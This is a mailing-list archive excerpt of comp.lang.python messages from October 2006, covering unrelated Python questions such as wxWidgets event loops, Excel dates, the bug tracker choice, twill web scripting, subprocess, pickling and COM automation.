feel free to ignore this point.) > Fortunately, I am not. At least, I don't think I am, unless wxWidgets uses them internally or something. Threading would make my head explode at this point. I really am used to just pulling off simple, sysadmin type things using massive subsets of languages to just "get things done." > > 3) Don't poll for network events every 20ms. If you have a sensible event > loop you'll find debugging and testing much easier. > I don't know what you mean. I believe wxWidgets handles the looping. And, as least, as far as I could tell with the documentation, the wx networking API is not exposed to Python. The "event loop" that you are describing is, I am assuming, the MainLoop which gets started for wx.App derived objects? > > 4) Use an existing library instead of developing a new one. > I had looked for one, at least for the AnsiTextCtrl that I was using. I never did find anything, so I assumed that it didn't exist. > > 5) (Only included so I don't look like a _complete_ jerk. If you get this > far and you haven't fixed the problem yet, consider this a booby prize.) > http://divmod.org/trac/browser/trunk/Epsilon/epsilon/spewer.py > I looked at this, and it made my head spin. I think it is just a touch too early for me to be looking at things that I don't quite understand. :-) I will take another look at it when I have been amongst the living a little bit longer. Thank you for the pointers here. At the very least, I have new ideas to google around with (such as looking into "event loops"). As far as programming goes, I have done minor things with it, and web applications (in PHP). I have never done GUI programming, or low-level network programming, or anything like that before, and I tried doing this project in C++ at first... and then said it wasn't worth it to me. So, I'm not very well versed in many of the concepts -- I am literally used to just writing tiny things (I can do very simple C programs, and have been known to use PHP for help automating things) to make my life easier, so this is the first real project that I have tried to work on. The goal, of course, is to become a better programmer. But, I digress. :-) Thanks again! Mike From simon at brunningonline.net Fri Oct 6 05:21:37 2006 From: simon at brunningonline.net (Simon Brunning) Date: Fri, 6 Oct 2006 10:21:37 +0100 Subject: How do I read Excel file in Python? In-Reply-To: <1160077793.218033.108840@m73g2000cwd.googlegroups.com> References: <1160057474.600863.239360@k70g2000cwa.googlegroups.com> <1160061718.605057.243590@h48g2000cwc.googlegroups.com> <1160067650.709670.71460@e3g2000cwe.googlegroups.com> <1160069137.525290.90000@m73g2000cwd.googlegroups.com> <8c7f10c60610051203m37c5e1f6l40cb4f52cd2ede29@mail.gmail.com> <1160077793.218033.108840@m73g2000cwd.googlegroups.com> Message-ID: <8c7f10c60610060221u518ef795qc29865465afd027@mail.gmail.com> On 5 Oct 2006 12:49:53 -0700, houdinihound at yahoo.com wrote: > Actually was about to post same solution and got same results. (BTW > Simon, the OP date is Aug 9th, 2006). Scratched head and googled for > excel date calculations... found this bug where it treats 1900 as leap > year incorrectly: > http://www.ozgrid.com/Excel/ExcelDateandTimes.htm Ah - I was reading the OP's 8/9/2006 in the European way - DD/MM/YYYY. One might argue over whether DD/MM/YYYY or MM/DD/YYYY are more rational, but I find it best to avoid *both* those formats, 'cos they are so easily confused. -- Cheers, Simon B simon at brunningonline.net http://www.brunningonline.net/simon/blog/ From martin at v.loewis.de Wed Oct 4 17:59:54 2006 From: martin at v.loewis.de (=?ISO-8859-15?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Wed, 04 Oct 2006 23:59:54 +0200 Subject: Python to use a non open source bug tracker? In-Reply-To: References: <22pUg.132825$zy5.1820633@twister1.libero.it> <2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net> <7xk63gry9z.fsf@ruckus.brouhaha.com> <7-udnWt7IMm9aL7YnZ2dnUVZ_qSdnZ2d@speakeasy.net> Message-ID: <45242EDA.4090306@v.loewis.de> Giovanni Bajo schrieb: >> * A data export is available if we decide to switch. [...] > > Out of curiosity, how is this obtained? Is this any plan to take a daily export > or so? Exactly so. Atlassian would generate a daily dump, and we would copy it to a machine on python.org with a cron job. Regards, Martin From sybrenUSE at YOURthirdtower.com.imagination Tue Oct 10 14:44:30 2006 From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel) Date: Tue, 10 Oct 2006 20:44:30 +0200 Subject: Funky file contents when os.rename or os.remove are interrupted References: <1160502494.520457.276080@m7g2000cwm.googlegroups.com> Message-ID: Russell Warren enlightened us with: > On first pass I would think that both of those calls are single step > operations (removing/changing an entry in the FAT, or FAT-like > thing, on the HDD) and wouldn't result in an intermediate, > null-populated, step, but the evidence seems to indicate I'm > wrong... They require multiple blocks to be written to disc, so if you're not using a journaling filesystem, bad things can happen. > Any insight from someone with knowledge of the internal operations > of os.remove and/or os.rename would be greatly appreciated, although > I expect the crux may be at the os level and not in python. You're right about that. Sybren -- Sybren St??vel St??vel IT - http://www.stuvel.eu/ From jstroud at mbi.ucla.edu Mon Oct 9 19:36:32 2006 From: jstroud at mbi.ucla.edu (James Stroud) Date: Mon, 09 Oct 2006 23:36:32 GMT Subject: 3D Vector Type Line-Drawing Program Message-ID: <42BWg.21264$Ij.16505@newssvr14.news.prodigy.com> Hello All, I'm looking for a program to do line-drawings in 3d, with output to postscript or svg or pdf, etc. I would like to describe a scene with certain 1-3d elements oriented in 3d space with dashed or colored lines and filled or transparent surfaces (or maybe semitransparent). I would then like to set the camera and have the scene depicted as a line drawing (not ray-traced solid body, etc). Does anyone know of a library to do this? James James Stroud UCLA-DOE Institute for Genomics and Proteomics Box 951570 Los Angeles, CA 90095 http://www.jamesstroud.com/ From __peter__ at web.de Sat Oct 14 12:15:39 2006 From: __peter__ at web.de (Peter Otten) Date: Sat, 14 Oct 2006 18:15:39 +0200 Subject: a odd thing of "from __future__ import ..." References: <1160834831.366050.277760@i3g2000cwc.googlegroups.com> Message-ID: mithrond at gmail.com wrote: > i can't use "from __future__ import ..." statement import two > statesments in the same time. > why? python2.5/windows. This is a bug: http://groups.google.com/group/comp.lang.python/msg/05fdd5118638f3cd?hl=en& Peter From guido.thelen at googlemail.com Fri Oct 27 11:24:18 2006 From: guido.thelen at googlemail.com (guido.thelen at googlemail.com) Date: 27 Oct 2006 08:24:18 -0700 Subject: Insert characters into string based on re ? In-Reply-To: <1161294437.623792.37740@i3g2000cwc.googlegroups.com> References: <1160692180.139410.302410@f16g2000cwb.googlegroups.com> <1161294437.623792.37740@i3g2000cwc.googlegroups.com> Message-ID: <1161962657.963468.33430@m7g2000cwm.googlegroups.com> You can test it here: http://www.sqlinform.com From mxywp at 126.com Wed Oct 25 03:47:39 2006 From: mxywp at 126.com (mxywp) Date: Wed, 25 Oct 2006 00:47:39 -0700 Subject: question: script to input data into a webpage and then retrievethe result? References: <002401c6f5a0$2b5aeef0$0302a8c0@MENG> <200610220935.36854.email@christoph-haas.de> Message-ID: <003701c6f809$da810340$0702a8c0@MENG> Thank you, Christoph! I used twill to get my data. And Titus is really helpful in helping me learn how to use it. Thank Paul, Haiyun and Dennis for your comments! Actually it turned out that the authentication code on that web page is kind of a joke. I finally found out that you could still submit a successful query and get desired result by ignoring the code. In rare cases the code is required. For most of the time it's useless. Isn't it funny? Best, mxywp ----- Original Message ----- From: "Christoph Haas" To: Sent: Sunday, October 22, 2006 12:35 AM Subject: Re: question: script to input data into a webpage and then retrievethe result? > On Sunday 22 October 2006 08:06, mxywp wrote: >> Could someone help me with this or share an example script with me? >> >> Here is what I want to accomplish: >> (1) input 3 values into 3 boxes on a web page >> (2) there is an authentication code each time you access this page and I >> have to write this code into the fourth box on the same page (3) click >> "submit" button >> (4) this web page will turn into a page with a table having a value >> calculated from my inputs (5) extract this value into a local file >> (6) repeat the above for 12000 times. >> >> I would really appreciate it if someone can tell me how to do it using >> python script. I am new to python web programming. > > Dark side way: > http://www.idyll.org/~t/www-tools/twill.html > > Christoph > > P.S.: One posting is usually sufficient to get a reply. > -- > http://mail.python.org/mailman/listinfo/python-list > From istvan.albert at gmail.com Thu Oct 12 15:26:06 2006 From: istvan.albert at gmail.com (Istvan Albert) Date: 12 Oct 2006 12:26:06 -0700 Subject: paseline(my favorite simple script): does something similar exist? In-Reply-To: <1160678742.899863.11760@c28g2000cwb.googlegroups.com> References: <1160678742.899863.11760@c28g2000cwb.googlegroups.com> Message-ID: <1160681166.890803.169610@c28g2000cwb.googlegroups.com> RickMuller wrote: > One of my all-time favorite scripts is parseline, which is printed here is another way to write that: def parseline(line, format): trans = {'x':lambda x:None,'s':str,'f':float,'d':int,'i':int} return [ trans[f](w) for f,w in zip(format, line.split() ) ] >>> parseline( 'A 1 22 3 6', 'sdxf') ['A', 1, None, 3.0] I. From bignose+hates-spam at benfinney.id.au Tue Oct 3 22:56:31 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Wed, 04 Oct 2006 12:56:31 +1000 Subject: PEP 358 and operations on bytes References: <20061003172441.GA28391@topjaklont.student.utwente.nl> <87k63gj41g.fsf@benfinney.id.au> <7.0.1.0.0.20061003220829.01cc7898@yahoo.com.ar> <87ejtoj1r8.fsf@benfinney.id.au> Message-ID: <8764f0iyao.fsf@benfinney.id.au> Steve Holden writes: > This would just be bloat How would it be bloat? I'm describing a situation where the existing methods merely move, being implemented in a common ancestor rather than directly in the concrete sequence classes. > without any use cases being demonstrated. What is your crying need > for these methods? I don't think I claimed a crying need for one. Consistency, where not foolish, is desirable. I don't deny that there is work involved; my suggestion was in the context of talking about a common ancestor to 'bytes' and 'str', in order to refactor some of the common methods. > Your *real* generalisation of the string method would actually > require you to write > > ["foo", "bar", "spam", "baz", "quux", "wibble"].startswith(["foo"]) Yes, you're right. I realised that after sending, but didn't correct it. > Python didn't get to be the language it is today by adding > unnecessary hypergeneralisations on a whim. Show me how these > methods will improve the daily lives of programmers and I'll > champion them to the developers, but I don't think the world will be > beating a path to your door. Again, I'm discussing a still-nascent suggestion for a common sequence ancestor; there are no demands here. If there is to be generalisation, I'm merely pointing out that it could be at a higher level and be more useful. If nothing else, it would lend more coherence to the "str is a sequence" confusion if *all* sequences shared some str-derived methods. -- \ "I used to be a narrator for bad mimes." -- Steven Wright | `\ | _o__) | Ben Finney From robert.kern at gmail.com Fri Oct 27 01:58:39 2006 From: robert.kern at gmail.com (Robert Kern) Date: Fri, 27 Oct 2006 00:58:39 -0500 Subject: NumPy 1.0 release In-Reply-To: References: <1161927501.585705.151830@b28g2000cwb.googlegroups.com> Message-ID: Robert Kern wrote: > George Sakkis wrote: >> By the way, it would be great if numpy's mailing list was mirrored to a >> google group; sourceforge and gmane are just horrible to use. > > Sorry, I don't think that Google Groups does mirroring like GMane does. Never mind. http://groups.google.com/group/Numpy-discussion -- Robert Kern "I have come to believe that the whole world is an enigma, a harmless enigma that is made terrible by our own mad attempt to interpret it as though it had an underlying truth." -- Umberto Eco From skip at pobox.com Mon Oct 30 13:54:35 2006 From: skip at pobox.com (skip at pobox.com) Date: Mon, 30 Oct 2006 12:54:35 -0600 Subject: Calling GNU/make from a Python Script In-Reply-To: <1162232865.989333.119340@h48g2000cwc.googlegroups.com> References: <45462091@news.bezeqint.net> <1162232865.989333.119340@h48g2000cwc.googlegroups.com> Message-ID: <17734.19051.6371.963738@montanaro.dyndns.org> >> os.system("make -C %s" % build_dir) >> OP specified GNU make, so that works fine, but make sure you're not >> going to need to use it with another make before settling on that >> alternative. Frederik's works with more versions of make. Understood. That was the only reason I suggested it. Skip From steve at holdenweb.com Fri Oct 6 03:55:45 2006 From: steve at holdenweb.com (Steve Holden) Date: Fri, 06 Oct 2006 08:55:45 +0100 Subject: HOST - Assembla Inc. Breakout - Copyright Violation by Mr. Andy Singleton In-Reply-To: <1160100015.211649.310540@m73g2000cwd.googlegroups.com> References: <1160082179.215729.164060@c28g2000cwb.googlegroups.com> <1160088907.689743.252500@m7g2000cwm.googlegroups.com> <1160100015.211649.310540@m73g2000cwd.googlegroups.com> Message-ID: Ilias Lazaridis wrote: > Ben Finney wrote: > >>"Ilias Lazaridis" writes: >> >> >>>I admit it is difficult to detect that this post is in-topic. >>>But it is. >> >>Really, it's not. If you want a voice, you already have your >>website. Mailing lists and other discussion forums have conventions >>about "topic" for a good reason. > > > of course. > > >>>http://case.lazaridis.com/wiki/Host >>>http://case.lazaridis.com/wiki/License >>>http://case.lazaridis.com/wiki/Copyright >>> >>>I should have posted them immediately. >> >>No, you should have found a forum where you know that the topic is >>appropriate -- even if that restricts it to your own website. > > > ??? my website is not a forum (and I'm currently reducing it to the > minimum necessary information.) > > and once more: this topic _is_ appropriate for a python / ruby / java > crosspost. > > really very important (if you don't look to much at the subject but the > message contents). > Well if you can't even be bothered to formulate a subject line that makes its signinficance immediately important you can hrdly be surprised at our failure to wade through reams of irrelevant drivel. If you have a dispute, go resolve it. But not here, please. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From vinogri at mcmaster.ca Fri Oct 27 10:42:18 2006 From: vinogri at mcmaster.ca (Ivan Vinogradov) Date: Fri, 27 Oct 2006 10:42:18 -0400 Subject: subprocess cwd keyword. In-Reply-To: <1161930349.386592.191090@h48g2000cwc.googlegroups.com> References: <1161930349.386592.191090@h48g2000cwc.googlegroups.com> Message-ID: <6D83A2CF-13F7-44A9-8A14-B2A12CD5273E@mcmaster.ca> On 27-Oct-06, at 2:25 AM, Leo Kislov wrote: > > Ivan Vinogradov wrote: >> ... >> >> call("core/main") works but uses .. of core for input/output. >> >> call("core/main",cwd="core") and call("main",cwd="core") both >> result in > [snip exception] > > Usually current directory is not in the PATH on UNIX. Try > call("./main",cwd="core") > > -- Leo Thank you both Leo and Steven. The solution was indeed calling "main" as "./main" once cwd was changed. -- Cheers, Ivan. From mahs at telcopartners.com Tue Oct 24 14:16:39 2006 From: mahs at telcopartners.com (Michael Spencer) Date: Tue, 24 Oct 2006 11:16:39 -0700 Subject: ANN compiler2 : Produce bytecode from Python 2.5 Abstract Syntax Trees In-Reply-To: <1161682522.256752.56630@i42g2000cwa.googlegroups.com> References: <453d4890$0$22566$9b622d9e@news.freenet.de> <1161682522.256752.56630@i42g2000cwa.googlegroups.com> Message-ID: Paul Boddie wrote: > Martin v. L?wis wrote: ...The compiler package is largely unmaintained and >> was known to be broken (and perhaps still is). > > I don't agree entirely with the "broken" assessment. Although I'm not > chasing the latest language constructs, the AST construction part of > the package seems good enough to me, and apparent bugs like duplicate > parameters in function signatures are actually documented shortcomings > of the functionality provided. The existing package is only lightly tested, so it's hard to say whether it's broken or not. The main test from test_compiler says def testCompileLibrary(self): # A simple but large test. Compile all the code in the # standard library and its test suite. This doesn't verify # that any of the code is correct, merely the compiler is able # to generate some kind of code for it. I certainly don't like the level of code > documentation; from the baroque compiler.visitor, for example: > > # XXX should probably rename ASTVisitor to ASTWalker > # XXX can it be made even more generic? > > However, a cursory scan of the bugs filed against the compiler module, > trying hard to filter out other compiler-related things, reveals that > most of the complaints are related to code generation, and the > compiler2 module appears to be squarely aimed at this domain. That's right, compiler2 just uses the builtin compile to get the AST, then does the code generation in Python. (ASTVisitor has disappeared in the process). > > I find the compiler package useful - at least the bits not related to > code generation I think you're saying that you find the AST itself valuable. I agree, and I've promoted that sort of use on this list e.g., http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/364469 However, 2.5 ASTs are better for this purpose: they are more accurate, faster to create, have a more consistent node structure, and are somewhat easier to traverse. I think the only reason to continue using 2.4 ASTs is for backward compatibility. Moreover, the 2.5 trees will be automatically maintained as part of the core compile process. Who knows what will happen to the 2.4 version? >... I'd be unhappy to see it dropped. Sooner or later, I think we should drop the 2.4 AST format - it's confusing to have two formats, and produces unnecesary maintenance work. I think new AST-manipulating apps would be better done using the 2.5 AST. Until now, it hasn't been possible for Python apps to compile 2.5 ASTs to bytecode, but compiler2 is working on fixing that. It would be straightforward to write a new transformer that took 2.5 ASTs and turned them into 2.4 ASTs, (and possible, but a bit harder to go the other way, I suspect). But I'd rather just leave compiler alone, and document the changes required to use 2.5 trees. The compiler2 package does this (see http://svn.brownspencer.com/pycompiler/branches/new_ast/test/pyast.py ) - and the changes required to a 2.4 application are easy. Regards Michael From fredrik at pythonware.com Wed Oct 4 15:15:19 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 04 Oct 2006 21:15:19 +0200 Subject: Python to use a non open source bug tracker? In-Reply-To: <17699.55812.728555.796343@montanaro.dyndns.org> References: <22pUg.132825$zy5.1820633@twister1.libero.it> <45225A1C.8060106@v.loewis.de> <1159975907.085831.44790@k70g2000cwa.googlegroups.com> <17699.55812.728555.796343@montanaro.dyndns.org> Message-ID: skip at pobox.com wrote: > No, actually switching trackers can be one big pain in the ass. You > probably aren't aware of how hard it's been for the Python development team > (I think Martin v. Loewis, mostly) to get tracker data out of SF. http://effbot.org/zone/sandbox-sourceforge.htm From gagsl-py at yahoo.com.ar Mon Oct 23 21:23:45 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Mon, 23 Oct 2006 22:23:45 -0300 Subject: How to get each pixel value from a picture file! In-Reply-To: <1161648139.576054.214070@k70g2000cwa.googlegroups.com> References: <1161636589.022879.37000@f16g2000cwb.googlegroups.com> <1161643563.111993.109480@b28g2000cwb.googlegroups.com> <1161645289.453600.107140@h48g2000cwc.googlegroups.com> <453d5360$0$13811$4d3efbfe@news.sover.net> <1161648139.576054.214070@k70g2000cwa.googlegroups.com> Message-ID: <7.0.1.0.0.20061023222017.05c87e30@yahoo.com.ar> At Monday 23/10/2006 21:02, Lucas wrote: >http://www.pythonware.com/library/pil/handbook/image.htm > >im.load() said.... > > > > 1)I just copy the tutorial to run "print pix[44,55]". I really dont > > > know why they wrote that?! It clearly states that this syntax applies only to version 1.1.6 - and I presume you're using 1.1.5. (And please, don't top post...!) -- Gabriel Genellina Softlab SRL __________________________________________________ Correo Yahoo! Espacio para todos tus mensajes, antivirus y antispam ?gratis! ?Abr? tu cuenta ya! - http://correo.yahoo.com.ar From hanumizzle at gmail.com Tue Oct 10 23:38:13 2006 From: hanumizzle at gmail.com (Theerasak Photha) Date: Tue, 10 Oct 2006 23:38:13 -0400 Subject: Python 2.5 "make install" bug? In-Reply-To: <8e53a5920610102032geb1d2d3p77a3594c956dc8b5@mail.gmail.com> References: <8e53a5920610102032geb1d2d3p77a3594c956dc8b5@mail.gmail.com> Message-ID: <463ff4860610102038m43496c03mf525fd0d3161fedd@mail.gmail.com> On 10/10/06, Yang Zhang wrote: > All the site-packages/*.so files get copied to the directory specified > in my ~/.pydistutils.cfg instead of lib-dynload under the prefix dir, > then proceeds to chmod 755 all the files in that directory (including > ones that existed before install). Please advise. Might this be considered desirable behavior? From sjdevnull at yahoo.com Sun Oct 15 11:54:23 2006 From: sjdevnull at yahoo.com (sjdevnull at yahoo.com) Date: 15 Oct 2006 08:54:23 -0700 Subject: A friendlier, sugarier lambda -- a proposal for Ruby-like blocks in python In-Reply-To: <1160871901.154291.141030@f16g2000cwb.googlegroups.com> References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com> <1160867101.267052.113280@h48g2000cwc.googlegroups.com> <1160870083.987602.52690@f16g2000cwb.googlegroups.com> <1160871901.154291.141030@f16g2000cwb.googlegroups.com> Message-ID: <1160927663.774054.15420@e3g2000cwe.googlegroups.com> Alexey Borzenkov wrote: > bearophileHUGS at lycos.com wrote: > > but maybe it reduces code readabilty a bit for people > > that have just started to program: > > > > mul2 = def(a, b): > > return a * b > > > > Instead of: > > > > def mul2(a, b): > > return a * b > > For such simple cases, yes. What about: > > button.click += def(obj): > # do stuff > > You obviously can't: > > def button.click(obj): > # do stuff > > :-) And if you make intermediate function and then assign it somewhere, > it "pollutes namespace": it's still left there, unneeded. If you're really uptight about it you can def temp_function(...): .... button.click = temp_function del(temp_function) But for something like the example I'd probably just use a local name wherever the definition is needed; there's no namespace pollution in any meaningful sense then. From jjl at pobox.com Mon Oct 9 18:45:19 2006 From: jjl at pobox.com (John J. Lee) Date: Mon, 09 Oct 2006 22:45:19 GMT Subject: People's names (was Re: sqlite3 error) References: <1159394058.945948.119410@h48g2000cwc.googlegroups.com> <1159493520.289291.276850@b28g2000cwb.googlegroups.com> <1160266138.599325.270290@e3g2000cwe.googlegroups.com> Message-ID: <87r6xhhzwg.fsf@pobox.com> "John Machin" writes: [...] > This is all a bit OT. Before we close the thread down Do you have a warrant for that? > , let me leave > you with one warning: > Beware of enthusiastic maintenance programmers on a mission to clean up > the dirty names in your database: > E.g. (1) "Karim bin Md" may not appreciate getting a letter addressed > to "Dr Karim Bin" (Md is an abbreviation of Muhammad). > E.g. (2) Billing job barfs on a customer who has no given names and no > family name. Inspection reveals that he is over-endowed in the title > department: "Mr Earl King". [...] Heh. I guess the people who really know about that kind of thing are the "record linkage" people (this one is a project worked on by c.l.py's own Tim Churches, and has produced some Python code): http://datamining.anu.edu.au/projects/linkage.html John From fredrik at pythonware.com Wed Oct 18 10:40:10 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 18 Oct 2006 16:40:10 +0200 Subject: Save/Store whole class (or another object) in a file References: <1161100436.211460.198430@e3g2000cwe.googlegroups.com> <1161182001.167535.87690@i3g2000cwc.googlegroups.com> Message-ID: alexLIGO at googlemail.com wrote: > thanks for the reply,but unfortunately this does not work with the type > of classes I am dealing with. When trying to pickle the class I get the > following error: > > File "/usr/lib/python2.4/copy_reg.py", line 76, in _reduce_ex > raise TypeError("a class that defines __slots__ without " > TypeError: a class that defines __slots__ without defining __getstate__ > cannot be pickled > > So there is something missing in this class? did you remember to read the error message before posting ? From DustanGroups at gmail.com Fri Oct 20 20:36:47 2006 From: DustanGroups at gmail.com (Dustan) Date: 20 Oct 2006 17:36:47 -0700 Subject: Inheriting property functions In-Reply-To: References: <1161383286.543397.46700@m73g2000cwd.googlegroups.com> Message-ID: <1161391007.556063.112900@m73g2000cwd.googlegroups.com> Robert Kern wrote: > Dustan wrote: > > Looking at this interactive session: > > > >>>> class A(object): > > def __init__(self, a): > > self.a = a > > def get_a(self): return self.__a > > def set_a(self, new_a): self.__a = new_a > > a = property(get_a, set_a) > > > > > >>>> class B(A): > > b = property(get_a, set_a) > > > > > > Traceback (most recent call last): > > File "", line 1, in > > class B(A): > > File "", line 2, in B > > b = property(get_a, set_a) > > NameError: name 'get_a' is not defined > >>>> class B(A): > > b = a > > > > > > Traceback (most recent call last): > > File "", line 1, in > > class B(A): > > File "", line 2, in B > > b = a > > NameError: name 'a' is not defined > > > > B isn't recognizing its inheritence of A's methods get_a and set_a > > during creation. > > Inheritance really doesn't work that way. The code in the class suite gets > executed in its own namespace that doesn't know anything about inheritance. The > inheritance rules operate in attribute access on the class object later. > > Try this: > > class B(A): > b = property(A.get_a, A.set_a) > > or this: > > class B(A): > b = A.a > > -- > Robert Kern > > "I have come to believe that the whole world is an enigma, a harmless enigma > that is made terrible by our own mad attempt to interpret it as though it had > an underlying truth." > -- Umberto Eco Thanks for your help, and mdsteele's. From http Wed Oct 4 07:34:48 2006 From: http (Paul Rubin) Date: 04 Oct 2006 04:34:48 -0700 Subject: What value should be passed to make a function use the default argument value? References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> <7xwt7gqwb3.fsf@ruckus.brouhaha.com> <7xac4cpefr.fsf@ruckus.brouhaha.com> Message-ID: <7xhcyk2u1z.fsf@ruckus.brouhaha.com> Antoon Pardon writes: > repeat(object[, times]) > Make an iterator that returns object over and over again. Runs > indefinitely unless the times argument is specified. ... > > My first impression from this, is that it is possible to call > this as follows: > repeat(None, times = 5) > But that doesn't work either. The code and/or doc is wrong, you have to use a positional arg and not a named one. repeat(None, 5) does the right thing. > That wont help much if you would like something like the following: > > def fun(f): > > arg = Default > try: > arg = Try_Processing() > except Nothing_To_Process: > pass > f(arg) Write it like this: def fun(f): args = () try: args = (Try_Processing(),) except Nothing_To_Process: pass f(*args) From bignose+hates-spam at benfinney.id.au Tue Oct 10 23:46:17 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Wed, 11 Oct 2006 13:46:17 +1000 Subject: Format a number as currency! I can't find any help on this simple problem. References: Message-ID: <87fydv8qgm.fsf@benfinney.id.au> Richard Kessler writes: > I am relatively new to Python. Love it, but I find things that I > can do easily in .NET and cannot find a way to do in Python. I need > to format a number as currency, for example 12343.56 to $12,343.56. > > In C# all I need to do is decimal x = 12343.56 then > x.ToString("$###,###.00"); Rather than implement a custom format, Python provides the 'locale' module to handle locale-specific things like digit-grouping. -- \ "About four years ago, I was -- no, it was yesterday." -- | `\ Steven Wright | _o__) | Ben Finney From tomas at fancy.org Tue Oct 17 21:34:31 2006 From: tomas at fancy.org (Tom Plunket) Date: Tue, 17 Oct 2006 18:34:31 -0700 Subject: Adding Worksheets to an Excel Workbook References: Message-ID: <831bj295rgbh8ajqf4e0guo4kaivhlg8sr@4ax.com> wesley chun wrote: > welcome to Python!! i too, have (recently) been interested in COM > programming, so much so that i added some material... > from time import sleep > import win32com.client as win32 > > def excel(): > xl = win32.gencache.EnsureDispatch('Excel.Application') > ss = xl.Workbooks.Add() # add a new spreadsheet/workbook > sh = ss.ActiveSheet # grab the active sheet of the workbook > xl.Visible = True # make Excel show up on the desktop > sleep(1) > > sh.Cells(1,1).Value = 'Python-to-Excel Demo' > sleep(1) > for i in range(3, 8): > sh.Cells(i,1).Value = 'Line %d' % i > sleep(1) > sh.Cells(i+2,1).Value = "Th-th-th-that's all folks!" > > sleep(5) > ss.Close(False) # close the workbook and don't save > xl.Application.Quit() # quit Excel You've got a lot of sleep calls in there- did you find that things behaved erratically without them? I haven't done any Office automation with Python, but my DevStudio stuff has always worked a treat without the sleep calls. -tom! From sjmachin at lexicon.net Mon Oct 9 07:13:43 2006 From: sjmachin at lexicon.net (John Machin) Date: 9 Oct 2006 04:13:43 -0700 Subject: why this is wrong? References: Message-ID: <1160392423.705319.243140@k70g2000cwa.googlegroups.com> bruce.who.hk wrote: > Hi, all > > I just donnot know why this is wrong, you can test it in python shell: > > class B: > def __str__(self): > return u'\u5929\u4e0b' > > b=B() > str(b) > Traceback (most recent call last): > File "", line 1, in ? > UnicodeEncodeError: 'ascii' codec can't encode characters in position 0-1: ordinal not in range(128) str(b) is trying to convert your unicode string to a str (8-bit) string. You didn't tell it how to convert it. So it assumed the default: ascii. The tens of thousands of Chinese characters can't be encoded in the 128 ascii possibilities. So you got an error message. You need to encode it with an encoding that (1) accomodates the Chinese characters that you want to use *and* (2) can be rendered properly on your screen. Try these: b.encode('big5') # but you may need b.encode('big5hkscs') b.encode('gb18030') b.encode('utf_8') I hope this helps you. Regards, John From pierre at saiph.com Tue Oct 3 23:52:04 2006 From: pierre at saiph.com (Pierre Imbaud) Date: Tue, 03 Oct 2006 23:52:04 -0400 Subject: python html rendering In-Reply-To: References: Message-ID: Colin J. Williams wrote: > Josh Bloom wrote: > >>Hey Pierre, >> >>I'm using this plug-in for wordpress to display Python code. >>http://blog.igeek.info/wp-plugins/igsyntax-hiliter/ >>It works pretty well and can display a lot of other languages as well. >> >>-Josh >> >> >>On 10/3/06, *Pierre Imbaud* > >>wrote: >> >> Hi, Im looking for a way to display some python code >> in html: with correct indentation, possibly syntax hiliting, dealing >> correctly with multi-line comment, and... generating valid html code if >> the python code itself deals with html (hence manipulates tag >> litterals. >> Thanks for your help! >> >> -- >> http://mail.python.org/mailman/listinfo/python-list >> >> > > Another approach is to use PyScripter (an editor and IDE). One can > generate documentation and then save the generated html doc. > > Also PyDoc can be used directly. pydoc doesnt html the code, but its documentation. U seem to say PyScripter does the same? I rather thought of some module built on python parser, generating html or xml, ideally customizable. Thanks for your help! > > Colin W. > From onurb at xiludom.gro Thu Oct 5 13:33:52 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Thu, 05 Oct 2006 19:33:52 +0200 Subject: Access to static members from inside a method decorator? In-Reply-To: References: <1159968945.192014.249380@k70g2000cwa.googlegroups.com> <4524c9bb$0$23498$426a74cc@news.free.fr> <1160061499.579029.9130@k70g2000cwa.googlegroups.com> Message-ID: <45254201$0$2728$426a74cc@news.free.fr> Maric Michaud wrote: > Le jeudi 05 octobre 2006 17:18, glen.coates.bigworld at gmail.com a ?crit : >> I guess my solution is slightly less elegant because >> it requires this ugly explicit init call outside the classes that it >> actually deals with, however it is more efficient because the dir() >> pass happens once on module load, instead of every time I want the list >> of exposed methods. > > You can always replace the need of the init method on classes using a > metaclass. > > This demonstrates it with Bruno's expose decorator, but it can be done with > your actual init func too. > > In [6]: class m(type) : > ...: def __init__(self, *a,**kw) : > ...: for name, meth in self.__dict__.items() : NB : This will only get methods exposeds in this class - not the one exposeds in the parent classes... > ...: if getattr(meth, '_exposed', False) : > ...: print 'exposed :', name > ...: > ...: > (snip) -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From xah at xahlee.org Sun Oct 29 01:24:25 2006 From: xah at xahlee.org (Xah Lee) Date: 28 Oct 2006 23:24:25 -0700 Subject: logo design Message-ID: <1162103065.460796.303660@f16g2000cwb.googlegroups.com> recently on #emacs irc of freenode, there's a discussion of a logo of planet emacsen site. I made some comments about such logo: http://paste.lisp.org/display/28901 I have brought this topic here here before... that i think LISP really need to have a logo. I'm aware of ?made with alien technology lisp? web-badge, but that is a lisp-peddling badge, not a lisp logo proper. Python, did not really have a logo. I made a plaint more than once in different periods of times to comp.lang.python. Them tech geeking morons and assholes, as expected, made irrelevant and incoherent cries. But look now, Python now has a logo inargurated around 2005, and is a well-designed one. For examples (most top quality) logos, see: http://xahlee.org/UnixResource_dir/lambda_logo.html (the lambda logo tour) http://xahlee.org/UnixResource_dir/freebooks.html (the unix pestilence) http://xahlee.org/UnixResource_dir/complang.html (computer language logos) Again: the primary purpose of this message, is to beseach that the power-that-be of lispers, seriously think about getting themselves a official logo. Thanks. Xah xah at xahlee.org ? http://xahlee.org/ From robert.kern at gmail.com Mon Oct 2 21:35:32 2006 From: robert.kern at gmail.com (Robert Kern) Date: Mon, 02 Oct 2006 20:35:32 -0500 Subject: Need help with an array problem. In-Reply-To: <1159837482.121713.219710@i3g2000cwc.googlegroups.com> References: <1159826153.470372.101200@e3g2000cwe.googlegroups.com> <1159826923.911685.30120@m73g2000cwd.googlegroups.com> 